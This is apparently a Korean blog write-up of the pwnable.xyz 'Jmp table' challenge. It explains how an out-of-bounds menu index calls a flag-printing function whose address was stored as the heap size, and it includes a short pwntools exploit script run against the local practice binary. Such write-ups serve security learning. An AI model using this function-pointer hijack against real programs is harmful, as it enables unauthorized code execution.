본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / Jmp table

mitigation

 

main

  1. 힙 할당
  2. 힙 해제
  3. 쓰기
  4. 읽기
  5. exit

각 함수라 vtable에 저장되어 있어 vatble을 통해 각 함수에 접근한다 

할당된 힙의 size는 전역변수 size에 저장시켜 read할때 overflow를 방지한다

size에 플래그를 출력시켜주는 함수로 주고 OOB로 접근해서 해당 함수가 호출되도록 했다

 

flag

 

 

from pwn import *

p = process("./jmp_table")

def do_malloc(length):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Size: ")
    p.sendline(str(length))

do_malloc(0x400A31)
p.recvuntil(b"> ")
p.sendline(b"-2")

p.interactive()

 

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / Game  (0) 2022.05.12
pwnable.xyz / l33t-ness  (0) 2022.05.11
pwnable.xyz / TLSv00  (0) 2022.05.11
pwnable.xyz / free spirit  (0) 2022.05.10
pwnable.xyz / two_target  (0) 2022.05.07